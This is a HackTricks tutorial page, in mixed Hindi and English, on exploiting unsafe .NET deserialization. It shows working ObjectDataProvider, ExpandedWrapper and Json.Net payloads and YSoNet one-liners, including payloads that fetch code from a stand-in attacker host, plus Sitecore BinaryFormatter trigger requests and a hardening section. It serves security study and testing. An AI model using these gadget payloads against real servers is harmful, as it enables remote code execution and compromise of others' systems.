बेसिक .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

This post is dedicated to समझने के लिए कि gadget ObjectDataProvider का कैसे शोषण किया जाता है ताकि RCE प्राप्त किया जा सके और कैसे Serialization लाइब्रेरीज़ Json.Net और xmlSerializer को उस gadget के साथ दुरुपयोग किया जा सकता है

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
हाँ, ये एक अजीब व्याख्या है, तो आइए देखें कि इस क्लास में ऐसा क्या है जो इतना दिलचस्प है: यह क्लास किसी भी arbitrary object को wrap करने की अनुमति देती है, MethodParameters का उपयोग करके arbitrary parameters set किए जा सकते हैं, और फिर MethodName का उपयोग करके arbitrary object के किसी भी function को निर्दिष्ट किए गए parameters के साथ कॉल किया जा सकता है
इसलिए, arbitrary object deserialized होते समय parameters के साथ एक function execute करेगा।

How is this possible

The System.Windows.Data namespace, जो कि PresentationFramework.dll में C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF पर मिलता है, वहीं ObjectDataProvider परिभाषित और लागू किया गया है।

Using dnSpy आप उस क्लास का code inspect कर सकते हैं जिसमें हम रुचि रखते हैं। नीचे के इमेज में हम PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name का code देख रहे हैं

जैसा कि आप देख सकते हैं जब MethodName सेट किया जाता है तो base.Refresh() को कॉल किया जाता है, आइए देखें यह क्या करता है:

ठीक है, चलिए आगे देखते हैं कि this.BeginQuery() क्या करता है। BeginQuery को ObjectDataProvider द्वारा override किया गया है और यह वही है जो यह करता है:

ध्यान दें कि कोड के अंत में यह this.QueryWorke(null) को कॉल कर रहा है। आइए देखें यह क्या execute करता है:

ध्यान दें कि यह function QueryWorker का पूरा code नहीं है लेकिन यह उसका रोचक हिस्सा दिखाता है: कोड this.InvokeMethodOnInstance(out ex); को कॉल करता है — यह वह लाइन है जहाँ set किया गया method invoke होता है।

यदि आप जांचना चाहते हैं कि केवल MethodName सेट करने पर वह execute होगा, तो आप इस कोड को चला सकते हैं:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data

ExpandedWrapper

पिछले exploit का उपयोग करते समय ऐसे मामले होंगें जहाँ object को ObjectDataProvider instance के रूप में deserialized as किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करते हुए, object को GetType का उपयोग करके deserialized किया गया था)। तब ObjectDataProvider instance में जो object type encapsulated है उसके बारे में (Process जैसे) कोई जानकारी नहीं होगी। आप DotNetNuke vuln के बारे में अधिक जानकारी यहाँ पा सकते हैं: https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1

यह क्लास किसी दिए गए instance में encapsulated objects के object types को निर्दिष्ट करने की अनुमति देती है। इसलिए, इस क्लास का उपयोग स्रोत object (ObjectDataProvider) को एक नए object type में encapsulate करने और हमें जिन properties की आवश्यकता है उन्हें प्रदान करने के लिए किया जा सकता है (ObjectDataProvider.MethodName और ObjectDataProvider.MethodParameters)।
यह उन मामलों के लिए बहुत उपयोगी है जैसा कि पहले प्रस्तुत किया गया था, क्योंकि हम ObjectDataProvider को एक ExpandedWrapper instance के अंदर wrap कर सकेंगे और जब deserialized होगा यह क्लास OjectDataProvider object बनाएगी जो MethodName में निर्दिष्ट function को execute करेगी।

You can check this wrapper with the following code:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In the official web page में बताया गया है कि यह लाइब्रेरी Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer की अनुमति देती है। तो, अगर हम deserialize the ObjectDataProvider gadget कर सकें, तो सिर्फ़ एक object को deserialize करके ही हम RCE पैदा कर सकते हैं।

Json.Net example

सबसे पहले, आइए देखें कि इस लाइब्रेरी का उपयोग करके किसी object को serialize/deserialize कैसे किया जाता है:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net का दुरुपयोग

मैंने ysoserial.net का उपयोग करके exploit बनाया:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

इस कोड में आप test the exploit, बस इसे चलाएँ और आप देखेंगे कि calc चलाया जाता है:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

उन्नत .NET Gadget Chains (YSoNet & ysoserial.net)

ObjectDataProvider + ExpandedWrapper technique जो ऊपर प्रस्तुत किया गया था, केवल उन कई gadget chains में से एक है जिन्हें तब दुरुपयोग किया जा सकता है जब कोई application unsafe .NET deserialization करता है। Modern red-team tooling जैसे YSoNet (और पुराने ysoserial.net) दर्जनों gadgets और serialization formats के लिए ready-to-use malicious object graphs का निर्माण स्वचालित करते हैं।

नीचे YSoNet के साथ भेजे गए सबसे उपयोगी chains का संक्षिप्त संदर्भ दिया गया है, साथ ही वे कैसे काम करते हैं और payloads जनरेट करने के उदाहरण commands।

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateDelegateSerializationHolder रिकॉर्ड को करप्ट करता है ताकि, एक बार materialised होने पर, delegate किसी भी attacker द्वारा सप्लाई किए गए method की ओर इशारा करे (उदा. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorSystem.Workflow.ComponentModel.ActivitySurrogateSelector का दुरुपयोग कर के bypass .NET ≥4.8 type-filtering किया जाता है और दिए गए class के constructor को सीधे invoke किया जा सकता है या चालू के दौरान C# file को compile किया जा सकता हैBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourSystem.Data.DataSet के legacy XML प्रतिनिधित्व का उपयोग करके <ColumnMapping> / <DataType> फील्ड भरकर arbitrary types instantiate करता है (वैकल्पिक रूप से assembly को --spoofedAssembly से फेक कर सकते हैं)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsWPF-enabled runtimes (> .NET 5) पर property getters को chain करता है जब तक कि System.CodeDom.Compiler.CompilerResults तक न पहुँच जाए, फिर compiles या -c के साथ दिए गए DLL को loads करता हैJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)WPF System.Windows.Data.ObjectDataProvider का उपयोग नियंत्रित arguments के साथ किसी arbitrary static method को call करने के लिए करता है। YSoNet एक सुविधाजनक --xamlurl variant जोड़ता है ताकि malicious XAML को remote पर host किया जा सकेBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)System.Management.Automation.PSObject में ScriptBlock embed करता है जो तब execute होता है जब PowerShell उस object को deserialise करता हैPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

डिफ़ॉल्ट रूप से सभी payloads stdout पर लिखे जाते हैं, जिससे उन्हें अन्य tooling (उदा. ViewState generators, base64 encoders, HTTP clients) में pipe करना trivial हो जाता है।

YSoNet बनाना / इंस्टॉल करना

यदि Actions ➜ Artifacts / Releases के अंतर्गत कोई pre-compiled binaries उपलब्ध नहीं हैं, तो निम्न PowerShell one-liner एक build environment सेट करेगा, repository को clone करेगा और सब कुछ Release mode में compile करेगा:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

The compiled ysonet.exe can then be found under ysonet/bin/Release/.

डिटेक्शन और हार्डनिंग

  • पता लगाएँ w3wp.exe, PowerShell.exe के अनपेक्षित child processes, या किसी भी प्रोसेस का जो उपयोगकर्ता-प्रदान किए गए डेटा को deserialising कर रहा हो (जैसे MessagePack, Json.NET)।
  • सक्षम करें और type-filtering लागू/अनिवार्य करें (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.) जब भी legacy BinaryFormatter / NetDataContractSerializer हटाया न जा सके।
  • जहाँ संभव हो, System.Text.Json या DataContractJsonSerializer पर स्थानांतरित करें, whitelist-आधारित converters के साथ।
  • उन वेब प्रक्रियाओं में जिन्हें कभी आवश्यकता नहीं हो, खतरनाक WPF assemblies (PresentationFramework, System.Workflow.*) को लोड होने से रोकें।

वास्तविक दुनिया का sink: Sitecore convertToRuntimeHtml → BinaryFormatter

एक व्यवहारिक .NET sink जो प्रमाणीकृत Sitecore XP Content Editor प्रवाहों में पहुँच योग्य है:

  • Sink API: Sitecore.Convert.Base64ToObject(string) new BinaryFormatter().Deserialize(...) को wrap करता है।
  • Trigger path: pipeline convertToRuntimeHtmlConvertWebControls, जो एक sibling element खोजता है जिसका id="{iframeId}_inner" है और value attribute पढ़ता है जिसे base64‐encoded serialized data के रूप में माना जाता है। परिणाम को string में cast किया जाता है और HTML में insert किया जाता है।

Minimal end‑to‑end (authenticated):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: कोई भी BinaryFormatter chain जो string लौटाता है (side‑effects deserialization के दौरान चलते हैं). See YSoNet/ysoserial.net to generate payloads.

एक पूरा chain जो pre‑auth से शुरू होकर Sitecore में HTML cache poisoning के माध्यम से इस sink तक पहुँचता है:

Sitecore

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें